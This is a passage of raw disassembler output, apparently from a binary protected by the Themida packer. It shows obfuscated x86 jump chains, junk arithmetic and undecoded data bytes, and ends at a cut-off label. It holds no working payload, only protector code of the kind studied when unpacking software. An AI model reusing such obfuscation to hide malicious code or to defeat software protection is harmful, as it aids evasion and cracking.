loc_54C156: ; CODE XREF: Themida_:0054E0ECj
push ecx
jmp loc_544A62
; ---------------------------------------------------------------------------
loc_54C15C: ; CODE XREF: Themida_:0054F976j
push 5F80h
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
imul cx, ax
push cx
pushf
jmp loc_54458A
; ---------------------------------------------------------------------------
db 59h
dd 80FFEB80h, 0CB8006EBh, 1C380CDh, 0FFFA2FE9h, 4EC81FFh
dd 89000000h, 8DE92404h, 50FFFFFFh, 0FBB6E954h, 0E801FFFFh
dd 56D8015Dh, 0F33271BEh, 84F6815Fh, 29065D13h, 24348BF0h
dd 4C481h, 5BE90000h, 5C000013h, 0FFD51DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C1C9: ; CODE XREF: Themida_:0054E7CCj
and edx, ebx
pop ebx
jmp loc_54FFB4
; ---------------------------------------------------------------------------
db 68h, 88h, 37h
dd 1C890000h, 2474FF24h, 48F5B04h, 24248B24h, 54240489h
dd 0FFAF2DE9h, 305B5AFFh, 845E9C1h, 0C4810000h, 4, 0B8505752h
dd 2E0A2D81h, 1456E9h, 0E91B3400h, 0FFFF9306h, 2434875Bh
dd 4C2815Ch, 81000000h, 2EAh, 6A2E900h, 0F9F60000h, 0CCB60F66h
dd 383D6866h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFE49Ch
dd 5C24048Fh, 0FF848AE9h, 0E95266FFh, 2DF0h, 5404EC83h
dd 8124048Fh, 42404h, 575E0000h, 8C3147BFh, 0E7814742h
dd 78ED61C3h, 0FFF73BE9h, 4EF83FFh, 0E9243C87h, 0FFFFEA54h
; ---------------------------------------------------------------------------
loc_54C27C: ; CODE XREF: Themida_:005459DEj
pop eax
xchg ecx, [esp]
jmp loc_54CF4C
; ---------------------------------------------------------------------------
db 0C1h, 0EFh, 6
dd 5512BD55h, 0E5C16C69h, 50EDD106h, 0F032F5B8h, 2EC92D61h
dd 0AD05003Bh, 1D87B68h, 0ED8158C5h, 0C82CC24Ch, 815DEF09h
dd 1CD3C2F7h, 8BFE893Ch, 14E9243Ch, 88FFFF98h, 58E288FCh
dd 0FFBD4DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C2C9: ; CODE XREF: Themida_:0054DA75j
pop ecx
mov ebx, [esp]
jmp loc_549D97
; ---------------------------------------------------------------------------
dw 0F66h
aQhpo db '╤лQhpO',0
align 4
dd 0FFF2B9E9h, 4C481FFh, 0E9000000h, 890h, 6656E980h, 8324148Bh
dd 0E18002C4h, 3E1C0E3h, 0C180E9D0h, 59C888A0h, 2858C328h
dd 112568C3h, 0C890000h, 0F607B124h, 8BBBE9D9h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C31A: ; CODE XREF: Themida_:00549D1Fj
mov edi, 0D5F55D9h
and edi, 83718F3h
jmp loc_54B8AA
; ---------------------------------------------------------------------------
dw 48Fh
dd 35E95C24h, 66000002h, 67E932FFh, 4DFFFF94h, 0BB53DDF7h
dd 45EA2A27h, 4307EBC1h, 1F1EE9h
db 0
; ---------------------------------------------------------------------------
loc_54C34D: ; CODE XREF: Themida_:0054CF9Dj
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
jmp loc_54C733
; ---------------------------------------------------------------------------
db 5Ch
dd 4BA52h, 0D1290000h, 0EA00E95Ah, 0EB83FFFFh, 2642E9FFh
dd 0B9510000h, 730C2BA1h, 0C981D9F7h, 6CEF0EE3h, 0F1814949h
dd 0ECFFDEF9h, 5659CF01h, 4BEh, 2248E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C396: ; CODE XREF: Themida_:0054A7B6j
add al, 44h
dec al
or al, 62h
add al, 0FAh
inc al
and al, 0D7h
jmp loc_54D50A
; ---------------------------------------------------------------------------
db 68h
dd 3663h, 54243C89h, 0D0BD555Fh, 5279E66Ch, 557EC4BAh
dd 3BB5310h, 2120C417h, 241C8BDAh, 4C481h, 0EA810000h
dd 65914ABCh, 0E9E2D14Ah, 0FFFF92F3h, 240C8B66h, 0FF96E8E9h
dd 4C481FFh, 83000000h, 97E904C4h, 81FFFF81h, 305EDCF1h
dd 0FFC82901h, 0C8B2434h, 4C48124h, 83000000h, 0D00104C4h
dd 7464DD05h, 24148B63h, 0E9E18951h, 187Dh, 54CEC281h
dd 0F2297EF9h, 54CEEA81h, 0C15E7EF9h, 895207EAh, 3F5968E2h
dd 0C890000h, 4B924h, 0CA010000h, 2FBE5659h, 0F7129A71h
dd 33C681DEh, 0E9129A71h, 0FFFFB7BCh, 835FF801h, 48704E8h
dd 0AAE95C24h
db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C463: ; CODE XREF: Themida_:0054D790j
push ebx
mov ebx, 20862799h
push ebp
mov ebp, 0DF79D86Bh
add ebx, ebp
pop ebp
sub edx, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
xchg edx, [esp]
pop esp
mov [esp], ebp
sub esp, 4
mov [esp], edi
mov edi, 2EAA5BB2h
mov ebp, 2EAA9BB2h
sub ebp, edi
jmp loc_54B8BE
; ---------------------------------------------------------------------------
db 35h
dd 77E42E88h, 0FFBAD6E9h, 36EB81FFh, 166BE94h, 0C2815BDAh
dd 4, 31241433h, 14332414h, 1AFAE924h, 1C8B0000h, 4C48124h
dd 0FF000000h, 515F2434h, 0C181E189h, 4, 4BE56h, 6BE90000h
dd 4FFFFAAh, 0B3535B16h, 0B55166CEh, 80D5F613h, 48E978C5h
dd 59FFFF85h, 2372B951h, 0D1F74132h, 8102E1C1h, 602F50F1h
dd 0DA92E984h, 0E2DFFFFh, 8B378506h, 8952243Ch, 4C281E2h
dd 83000000h, 148704C2h, 24248B24h, 405h, 24043300h, 3F8CE9h
dd 81FD0100h, 5B5BD1C5h, 2C875F4Bh, 0EC815C24h, 4, 81241489h
dd 4ECh, 240C8900h, 0E950515Ah, 0FFFFD4E1h, 2404FF66h
dd 8018E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C572: ; CODE XREF: Themida_:0054DAAEj
mov [esp], esi
push 4
pop esi
add ecx, esi
jmp loc_55048B
; ---------------------------------------------------------------------------
dw 0C89h
dd 8038B524h, 0DDF66CEDh, 0F605EDC0h, 26ED80D5h, 1B39E9h
dd 4028BE00h, 0E68153B7h, 1A1C5BE0h, 8107EEC1h, 36203DC6h
dd 5EF03116h, 0FF9DFDE9h, 5E089FFh, 4, 75D968h, 241C8900h
dd 64FD68h, 24348900h, 63767D68h, 24348B4Ah, 214CE9h, 4B720500h
dd 34FF555Dh, 89515F24h, 2211E9E1h, 895A0000h, 0B6B0E9F9h
dd 77FFFFFFh, 58669D1Ch, 24041966h, 7F88E99Ch, 0D001FFFFh
dd 108685Ah, 1C890000h, 0ABF5724h, 57728A3Eh, 270CE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C61A: ; CODE XREF: Themida_:0054B0D5j
push 0A37h
mov [esp], ebp
push edx
push 8A7h
mov [esp], eax
push 39F26856h
jmp loc_54B5C0
; ---------------------------------------------------------------------------
db 87h, 1Ch, 24h
dd 243C895Ch, 0BF91E954h, 0F181FFFFh, 411B1895h, 876DE981h
dd 0C83123A3h, 1570E959h, 52660000h, 0F02015B6h, 8E95A66h
db 5, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C663: ; CODE XREF: Themida_:00549D74j
sub edi, 75F7474Dh
push dword ptr [esp]
pop esi
jmp loc_546B3E
; ---------------------------------------------------------------------------
dw 5D68h
dd 8900006Fh, 0BAB82404h, 0C10E601Ch, 0D6E904E8h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_54C687: ; CODE XREF: Themida_:00544A90j
push ecx
mov ecx, 0B15DC1EFh
jmp loc_54EFD5
; ---------------------------------------------------------------------------
loc_54C692: ; CODE XREF: Themida_:0054CB55j
xor ecx, 76713B51h
and eax, ecx
jmp loc_54DAF3
; ---------------------------------------------------------------------------
db 0B3h
dd 66D9282Ah, 4EC835Bh, 52240489h, 0D488CA88h, 58E6885Ah
dd 0E84EE959h, 6C68FFFFh, 0E900001Ah, 18B8h, 0E9240489h
dd 0FFFF9C21h, 0FBE95266h, 66FFFF8Ch, 664707B8h, 5866C201h
dd 0FFE114E9h, 15B951FFh, 0E96FDF06h, 0FFFFC429h, 0E932FF64h
dd 1FCBh, 0E92434FFh, 0F41h, 8034B252h, 0EA8005E2h, 62B1511Ah
dd 0E907E980h, 0FFFFFA35h, 4C681h, 9DE90000h
db 15h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C71B: ; CODE XREF: Themida_:00544760j
add ebx, 0F181FB1h
sub esp, 4
mov [esp], ecx
mov ecx, 3D3794B1h
xor ebx, ecx
jmp loc_545A3A
; ---------------------------------------------------------------------------
loc_54C733: ; CODE XREF: Themida_:0054C356j
push ebx
mov ebx, 71631528h
add ebx, 688D56D0h
xor ebx, 763712C9h
and ebx, 22D10028h
add ebx, 34E242BDh
inc ebx
add ebx, 0CFE508A3h
jmp loc_54E335
; ---------------------------------------------------------------------------
db 51h, 0B9h, 0F6h
dd 491D0418h, 5641D9F7h, 862F21BEh, 1EE8356h, 0B9B3C681h
dd 0F1298D5Bh, 35D2055Eh, 0C801376Fh, 6F35D22Dh, 240C8B37h
dd 0FFA5C1E9h, 4B8FFh, 0EA810000h, 46233E26h, 4E9C201h
db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C79F: ; CODE XREF: Themida_:005472BCj
push eax
jmp loc_54FA48
; ---------------------------------------------------------------------------
loc_54C7A5: ; CODE XREF: Themida_:00549CB1j
inc ebx
jmp loc_54FDB1
; ---------------------------------------------------------------------------
loc_54C7AB: ; CODE XREF: Themida_:00546FA0j
push eax
mov eax, 38B4885h
sub ebp, eax
pop eax
shl ebp, 8
not ebp
sub ebp, 0BCA1CDFBh
jmp loc_54AB5D
; ---------------------------------------------------------------------------
dd 0DF668h, 24148900h, 4B3FBB53h, 1BA4FDDh, 0E942FC2Bh
dd 324Fh, 0E9242C8Bh, 0FFFFE2AFh, 4BFh, 0E9FB0100h, 0FFFFE5DEh
dd 0A304C204h, 0B252C800h, 8BD028A3h, 0C4812414h, 4, 0E978B252h
dd 0FFFFB9C7h, 4C48159h, 81000000h, 4C1h, 2C18300h, 4EC81h
dd 0C890000h, 2474FF24h, 48F5904h, 4D35C24h, 53E99C24h
dd 81FFFF7Dh, 4C4h, 8BD60100h, 0C4812414h, 4, 0E9243487h
dd 0FFFFA6E0h, 24048B66h, 33F86855h, 8E90000h
db 0Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C85F: ; CODE XREF: Themida_:0054AF87j
push ebx
mov ebx, 23994F6Fh
inc ebx
inc ebx
shr ebx, 5
jmp loc_547317
; ---------------------------------------------------------------------------
db 81h
dd 0F7FFF2C7h, 0E9FE89F3h, 0FFFF8972h, 5D2434FFh, 4904C483h
dd 0C1D7E981h, 992D770Ah, 29164B3Eh, 5FB951C8h, 81461147h
dd 7D03E6C1h, 83E18131h, 8130054Eh, 0B90B68E9h, 0D8E8E919h
dd 0C680FFFFh, 3003B3CDh, 3FE95AF3h
db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C8BB: ; CODE XREF: Themida_:0054B3F9j
neg ecx
sub ecx, 0EEDEDF6Fh
jmp loc_5480A4
; ---------------------------------------------------------------------------
dd 8B241487h, 0C0E92424h, 66FFFFF4h, 661ED968h, 52241C89h
dd 0C6FE62B6h, 0C0D8CE80h, 0EEC007E6h, 0F8F68006h, 47E9F388h
dd 2C000012h, 0C0C50CD6h, 690404E8h, 6608E8C0h, 0E0B25253h
dd 79E9h, 242C8100h, 605F2811h, 582434FFh, 148B5452h, 12556824h
dd 3C890000h, 0E9E78924h, 0FFFFDB00h, 0C181E189h, 4, 4C181h
dd 0E9510000h, 1CB5h, 1FED68h, 24048900h, 0FF7C41E9h, 78E959FFh
dd 0FFFFFF8Fh, 1C8B2434h, 4C48124h, 68000000h, 2498h, 89242C89h
dd 4C581E5h, 0E9000000h, 2DEEh
; ---------------------------------------------------------------------------
loc_54C970: ; CODE XREF: Themida_:00544B5Dj
pop ecx
mov eax, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_546E82
; ---------------------------------------------------------------------------
dw 0CA80h
dd 80CAFE4Bh, 0CAFE94CAh, 8855C280h, 4B045AD7h, 0FFA22CE9h
dd 0FC330FFh, 0A3E9C0B6h
db 32h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C9A3: ; CODE XREF: Themida_:0054B8B9j
shl edx, 3
shr edx, 4
not edx
dec edx
sub edx, 4E515142h
jmp loc_54E5A7
; ---------------------------------------------------------------------------
db 83h
dd 0F00207Fh, 0FFD57384h, 525355FFh, 0E7100468h, 0D730E974h
dd 0F181FFFFh, 7EB350FFh, 3CB5C981h, 49497B2Fh, 20ACE9h
dd 2BE00h, 0F3010000h, 241C875Eh, 0F20E9h
db 0
; ---------------------------------------------------------------------------
loc_54C9F1: ; CODE XREF: Themida_:00550668j
mov eax, 4
add esi, eax
pop eax
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edi
mov edi, 5B096549h
and ebp, edi
mov edi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_54B90B
; ---------------------------------------------------------------------------
a1Hi3 db '1цh⌡3',0
dd 240C8900h, 2CB9h, 53E98100h, 1028364h, 6FE952F9h, 66FFFFC2h
dd 59C80058h, 50A1B252h, 0DCF645B4h, 0FF956CE9h, 2474FFFFh
dd 0B7A3E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CA56: ; CODE XREF: Themida_:0054E30Aj
dec edx
shr edx, 6
xor edx, offset byte_5A6531
jmp $+5
and eax, edx
jmp loc_545E05
; ---------------------------------------------------------------------------
dd 4EC81h, 8F540000h, 89512404h, 4C181E1h, 68000000h, 2E0Ch
dd 0BB241C89h, 4, 4687E981h, 89E90200h
db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CA97: ; CODE XREF: Themida_:00546DAAj
mov ebp, [esp]
push eax
push esp
pop eax
add eax, 4
push ebp
mov ebp, 4
jmp loc_54E8A6
; ---------------------------------------------------------------------------
db 81h, 4, 24h
dd 76280CCBh, 0FF7D4CE9h, 5BDA28FFh, 148BD030h, 4C48324h
dd 0E9AFB151h, 0FFFF7EF6h, 57CE981h, 0F1812426h, 8F48C68Ch
dd 0FEEE9h, 0D831AD00h, 81E28952h, 4C2h, 4EA8300h, 5C241487h
dd 68240C89h, 0BA35FB7h, 259BE959h, 0E9540000h, 1601h
dd 170685Ah, 34890000h, 81E68924h, 4C6h, 4BB5300h, 1000000h
dd 0F6EEE9DEh, 8B66FFFFh, 7CE9240Ch, 5CFFFFF8h, 6856C331h
dd 4FFCh, 8B240489h, 0C4832434h, 33E95604h
db 17h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54CB43: ; CODE XREF: Themida_:0054A217j
xor eax, 40802D85h
push 516Bh
mov [esp], ecx
mov ecx, 74713B51h
jmp loc_54C692
; ---------------------------------------------------------------------------
loc_54CB5A: ; CODE XREF: Themida_:00547312j
mov eax, 4
jmp loc_54D2F0
; ---------------------------------------------------------------------------
dd 9FE95866h, 66FFFF87h, 0DA16E952h, 489FFFFh, 0E977B024h
dd 0FFFF936Bh, 73736851h, 0EBE90000h, 9FFFFFFh, 65E91C5Fh
dd 0B8000018h, 4F1D4D19h, 0D8F7D8F7h, 0FFE49CE9h, 75F781FFh
dd 0C1E6A461h, 0E95208E7h, 2B4Ch, 0D3F6CBFEh, 0E9E1E380h
dd 0FFFFFB14h, 0B3B75366h, 5B66FE28h, 285AF488h, 24048BE1h
dd 4C481h, 75E90000h, 4000002h, 72E95BCEh, 5C00000Ch, 0BD242C89h
dd 2, 2C8BEA29h, 4C48124h, 87000000h, 248B2414h, 4896624h
dd 798CE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CBFE: ; CODE XREF: Themida_:0054DB04j
add ebp, 4
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
or eax, eax
jz loc_55038B
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push 6C3h
mov [esp], ecx
sub esp, 4
mov [esp], esp
jmp loc_544796
; ---------------------------------------------------------------------------
loc_54CC5B: ; CODE XREF: Themida_:0054F88Fj
push edi
mov edi, 4
add ebp, edi
mov edi, [esp]
add esp, 4
push ecx
mov ecx, 0DF02942h
sub esp, 4
mov [esp], edi
mov edi, 1B133173h
or edi, 5E783C06h
jmp loc_549464
; ---------------------------------------------------------------------------
loc_54CC88: ; CODE XREF: Themida_:00547AB0j
mov esp, [esp]
sub [esp], ax
pushf
jmp loc_54458A
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
dd 3DE95324h, 4DFFFF83h, 6246ED81h, 0C5817AD3h, 25332BA5h
dd 0D11E9h
db 0
; ---------------------------------------------------------------------------
loc_54CCB1: ; CODE XREF: Themida_:0054DB91j
push ecx
jmp loc_54A409
; ---------------------------------------------------------------------------
db 51h
dd 51EE9h, 4EC8100h, 89000000h, 1768241Ch, 89000022h, 0B8502434h
dd 8EE5B58h, 8E39FF25h, 25E354Dh, 0E5054925h, 89CA7C56h
dd 0E95658C6h, 19A4h, 8B240433h, 0E9F72424h, 427868h, 24348900h
dd 0FFF54FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CD01: ; CODE XREF: Themida_:0054B530j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
mov ecx, 400h
mov edx, ecx
push dword ptr [esp]
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_54F606
; ---------------------------------------------------------------------------
db 53h, 0BBh, 9Eh
dd 123250Dh, 0C2815BDAh, 731207ACh, 0CEAEA81h, 0BF5729CDh
dd 30F14801h, 4F0FCF81h, 0E957782Bh, 21BCh, 31240433h
dd 4332404h, 24248B24h, 24043166h, 8D80E99Ch, 305AFFFFh
dd 0C8B66C8h, 2C48324h, 0FF7C20E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CD75: ; CODE XREF: Themida_:0054F102j
add edi, 4
jmp loc_544B13
; ---------------------------------------------------------------------------
loc_54CD80: ; CODE XREF: Themida_:00545BB3j
mov [esp], edi
mov edi, esp
jmp loc_54E2A9
; ---------------------------------------------------------------------------
dw 0E95Dh
dd 0FFFFD143h, 0ED4A06BBh, 5BD8290Eh, 762EBA52h, 0F281319Ch
dd 4CEE3CF2h, 0E95AD001h, 0FFFFF331h, 52242C89h, 5C0A80BAh
dd 5AD58956h, 0E5C1E5D1h, 2C58103h, 819A3F58h, 0CF214FC1h
dd 55E9014Dh, 0A60D95BDh, 33B9E964h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54CDD6: ; CODE XREF: Themida_:0054DEF8j
pop esi
jmp loc_54EEF6
; ---------------------------------------------------------------------------
aBu@5Hh db '│Н"@5╤hH\',0
dw 8900h
dd 0AFBB241Ch, 526F5E10h, 8115FEBAh, 29A7E91Ah, 0EF010000h
dd 5FF9315Dh, 108FE9h
db 0
; ---------------------------------------------------------------------------
loc_54CE05: ; CODE XREF: Themida_:005494BDj
mov eax, ebx
mov ebx, [esp]
add esp, 4
push esi
mov esi, 7D966F87h
jmp loc_54AAA9
; ---------------------------------------------------------------------------
dd 0FF776DE9h, 815D54FFh, 4C5h, 4EC8100h, 89000000h, 27B9240Ch
dd 4935AA4Dh, 0E905E9C1h, 0FFFF785Dh, 962DF001h, 0E96D3D2Eh
dd 0FFFFD149h, 34FFC830h, 46E95924h, 5AFFFF8Bh, 1EE94A42h
dd 88000022h, 66E788FEh, 5E7C058h, 0E904E7C0h, 1CA5h, 241C8B66h
dd 8904EC83h, 0E2892414h, 6579BD55h, 0ED814077h, 1DB40E6Ch
dd 0BBF7E94Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CE8A: ; CODE XREF: Themida_:0054859Cj
std
push esi
sub esp, 4
mov [esp], eax
mov eax, 7F341C12h
jmp loc_54FE61
; ---------------------------------------------------------------------------
loc_54CE9F: ; CODE XREF: Themida_:0054AA0Dj
sub ebx, 442810C0h
pop edx
add ebx, edi
jmp loc_54B570
; ---------------------------------------------------------------------------
loc_54CEAD: ; CODE XREF: Themida_:0054BDADj
pop ebx
add al, 0F9h
add al, bl
sub al, 0F9h
push ecx
mov cl, 0BEh
add cl, 42h
add al, 26h
sub al, cl
sub al, 26h
pop ecx
push edx
push ebx
mov bl, 0D4h
mov dh, 0FAh
xor dh, bl
jmp loc_545D43
; ---------------------------------------------------------------------------
loc_54CECE: ; CODE XREF: Themida_:00546E90j
dec edx
and edx, 462942BEh
add edx, 462915AEh
jmp loc_545529
; ---------------------------------------------------------------------------
dd 0FF2434FFh, 68582434h, 1CECh, 68241C89h, 3F0Ah, 83242489h
dd 8B042404h, 0C483241Ch, 894DE904h, 0AE25FFFFh, 0C1664933h
dd 430505E0h, 0E9AEF88Ch, 0CF6h, 0F5E9D988h, 66FFFFE3h
dd 9C2404D3h, 0FF7661E9h, 242C8BFFh, 81E28952h, 4C2h, 4C28300h
dd 3490E9h, 66D00000h, 52E95B5Ah, 0E9FFFFFAh, 0FFFF763Eh
; ---------------------------------------------------------------------------
loc_54CF4C: ; CODE XREF: Themida_:0054C280j
pop esp
jmp loc_54BFC7
; ---------------------------------------------------------------------------
dw 0C631h
dd 0FF851AE9h, 50E389FFh, 10B5BB53h, 0B8500699h, 69910B1h
dd 0F6E9C331h
db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CF6F: ; CODE XREF: Themida_:0054B6BAj
add eax, 4
xchg eax, [esp]
mov esp, [esp]
or eax, eax
jz loc_54EFDD
push dword ptr [edi+28h]
mov eax, [esp]
push edi
push esp
pop edi
push 594h
mov [esp], esi
mov esi, 1EC6552Fh
push edi
jmp loc_54E40E
; ---------------------------------------------------------------------------
loc_54CF9C: ; CODE XREF: Themida_:0054E16Fj
push esi
jmp loc_54C34D
; ---------------------------------------------------------------------------
dw 8B66h
dd 5257240Ch, 0B951E289h, 2E793A68h, 81D9F741h, 793A6DC1h
dd 59CA012Eh, 0FF83E2E9h, 24248BFFh, 0FF75C1E9h, 4EC83FFh
dd 0B8240489h, 52B95123h, 4244429h, 0FFBDF0E9h, 32CEB9FFh
dd 0DDBF25FDh, 0E91FA9D9h, 0FFFF850Eh, 8107E2C1h, 269FE4C2h
dd 7E2C11Ah, 82E9D2F7h, 81FFFF94h, 0FBA0AC2h, 5AD189FBh
dd 0E959CE01h, 0FFFF9B12h, 582CB951h, 0E1D16FD5h, 8D1CF181h
dd 0CD01EEA8h, 0F7D5F759h, 53CD81D5h, 8144732Bh, 0B00EB0F5h
dd 8BE92981h, 0C481242Ch, 4, 8DBE95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D042: ; CODE XREF: Themida_:00546748j
pop dword ptr [esp]
pop esp
mov [esp], eax
mov eax, 4
and ecx, eax
push dword ptr [esp]
mov eax, [esp]
jmp loc_54A0C1
; ---------------------------------------------------------------------------
db 89h
dd 0E6892434h, 0FF8E93E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D065: ; CODE XREF: Themida_:0054A3D4j
jmp loc_54458A
; ---------------------------------------------------------------------------
dw 8B66h
dd 0EC812404h, 4, 89241C89h, 6BE955E3h, 66FFFF80h, 41E95350h
dd 2DFFFF8Fh, 295F6FC3h, 4805E8C1h, 6B209F2Dh, 58C10172h
dd 0EDE9CB31h, 5BFFFFA0h, 0E958C100h, 0FFFF9D4Bh, 4C781h
dd 0C7830000h, 243C8704h, 0F2E9515Ch
db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D0BB: ; CODE XREF: Themida_:0054FA43j
pop edx
xchg esi, [esp]
jmp loc_54FB90
; ---------------------------------------------------------------------------
dd 0C89665Ch, 0E7B45024h, 6606E4C0h, 0E9F7B252h, 0FFFF9D3Bh
dd 0E9241C89h, 0FFFFBD1Bh, 24348B5Ah, 5304C483h, 0FFE1D7E9h
dd 75EF81FFh, 152A16Ah, 1F77E9FEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D0FA: ; CODE XREF: Themida_:00547853j
add ebp, ebx
jmp loc_54B52F
; ---------------------------------------------------------------------------
loc_54D101: ; CODE XREF: Themida_:00549E62j
add esp, 4
sub ebx, 2B1A4DAEh
add ebx, esi
add ebx, 2B1A4DAEh
pop esi
and eax, ebx
jmp loc_54BC26
; ---------------------------------------------------------------------------
db 81h, 0EDh, 0Ah
dd 1322518h, 0DDE95DE8h
db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D12B: ; CODE XREF: Themida_:00545B41j
mov ecx, [esp]
add esp, 4
push ebx
mov bh, 21h
jmp loc_54EC25
; ---------------------------------------------------------------------------
dd 52A6B850h, 17E953B2h, 52FFFFD8h, 9B3D4BBAh, 5AD0891Ch
dd 33B5E9h, 5BDA8900h, 5E08950h, 4, 28BCE9h
db 0
; ---------------------------------------------------------------------------
loc_54D165: ; CODE XREF: Themida_:0054A885j
pop ebx
or eax, eax
jmp loc_544EE2
; ---------------------------------------------------------------------------
aZRS db 'Z(пR╡≤',0
dd 0C8045AD0h, 0F618B252h, 80B353D2h, 2803EB80h, 0D0005BDAh
dd 2434FF5Ah, 4C4815Ah, 66000000h, 2D1D6853h, 36E90000h
dd 89FFFF74h, 268242Ch, 8B000000h, 0C481242Ch, 4, 9854DF2Dh
dd 68E80158h, 59Dh, 0FFAF23E9h, 52C329FFh, 3957CFBAh, 503E686Dh
dd 4890000h, 5D05B824h, 89E975CBh, 0B9FFFFCEh, 7CC743CFh
dd 15CCE981h, 0CF8925FAh, 0FFA279E9h, 4C481FFh, 81000000h
dd 5D7FC8EBh, 0DC52E959h, 5455FFFFh, 5D2434FFh, 0FF9AECE9h
dd 346B68FFh, 815E1F72h, 4D1D50EEh, 81DEF739h, 1B1C30F6h
dd 58F68130h, 895E7AFCh, 0E7815EF7h, 0EE54A16h, 6EE0F781h
dd 4E97F70h
db 92h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D237: ; CODE XREF: Themida_:0054D97Ej
push 3096h
jmp loc_54F277
; ---------------------------------------------------------------------------
loc_54D241: ; CODE XREF: Themida_:00549AB7j
shr cl, 3
xor cl, 0D2h
or cl, 9Bh
jmp loc_5493C4
; ---------------------------------------------------------------------------
loc_54D24F: ; CODE XREF: Themida_:0054DDFFj
mov eax, 75092057h
jmp loc_545992
; ---------------------------------------------------------------------------
aSiIX0ss db 'S┬ц┬щ[X0ХИ/#',0
dw 8900h
dd 4812424h, 424h, 0B9515D00h, 38E746E6h, 5219C181h, 0E9C103C9h
dd 0A8C2E904h, 0C281FFFFh, 1F5CCBC6h, 1AE9D189h, 0BAFFFFECh
dd 7AE00368h, 2277E9h, 81FB0100h, 0D87043EBh, 79C3815Fh
dd 5F13F353h, 0FF7EF3E9h, 0BB1B9FFh, 0CE314BADh, 4E94E59h
dd 51FFFFB7h, 4B9h, 0EDBB5300h, 0C151EA36h, 8EE908EBh
dd 81FFFF9Ch, 556F08CFh, 0D2EF811Dh, 0C14EDB4Dh, 0EFC108E7h
dd 9EF78104h, 0E953DF7Bh, 0FFFF7939h
; ---------------------------------------------------------------------------
loc_54D2F0: ; CODE XREF: Themida_:0054CB5Fj
add ecx, eax
mov eax, [esp]
add esp, 4
xor ecx, [esp]
jmp loc_54B9DF
; ---------------------------------------------------------------------------
dd 240C8B66h, 48CC68h, 24048900h, 0B9515854h, 69AD05F9h
dd 4F17C981h, 0E1C14E75h, 0ECE98104h, 0E9FFD4FFh, 0FFFFDE3Ch
dd 4C281h, 14870000h, 0B4685C24h, 89000078h, 56E9241Ch
dd 0FFFFFF77h, 5A042474h, 0E924048Fh, 0A59h, 0E5280ABFh
dd 4EFC16Ah, 0EFC1EFD1h, 20B95107h, 313BAE1Dh, 0B85059CFh
dd 18D710Ah, 0AC5E1C2Dh, 58C70185h, 0AED6F781h, 0FB01ABD2h
dd 0ECD1E95Fh, 74FFFFFFh, 64E90424h, 81FFFF8Ch, 0B8205DC7h
dd 55D7F71Dh, 861A5BDh, 0D173E97Eh, 47BEFFFFh, 89000539h
dd 0E8895EF5h, 55242C8Bh, 0C5815D54h, 4, 4BB53h, 92E90000h
db 92h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D3BB: ; CODE XREF: Themida_:0054F5E9j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
and eax, ebx
mov ebx, [esp]
jmp loc_549C6C
; ---------------------------------------------------------------------------
dd 7FA9ED81h, 0E8896FFBh, 0C589555Dh, 8B5DEF89h, 0C4812404h
dd 4, 3C8BFE01h, 4C48124h, 83000000h, 343302C6h, 0A4F0E924h
dd 48FFFFFh, 24248B24h, 739B850h, 430D752Ah, 0F7021C7Fh
dd 3CE405D8h, 0F9354F2Ch, 1840AFBh, 0FA3E9C3h, 6DB00000h
dd 8058C730h, 5066BEE7h, 0F988CC88h, 5866E788h, 7C1E9h
dd 240C8900h, 6163BE56h, 0C68159EFh, 0FFFFFFFFh, 8103EEC1h
dd 47FFECEh, 0F6814E5Fh, 335DE52Eh, 0CBE9F189h
db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D463: ; CODE XREF: Themida_:00550045j
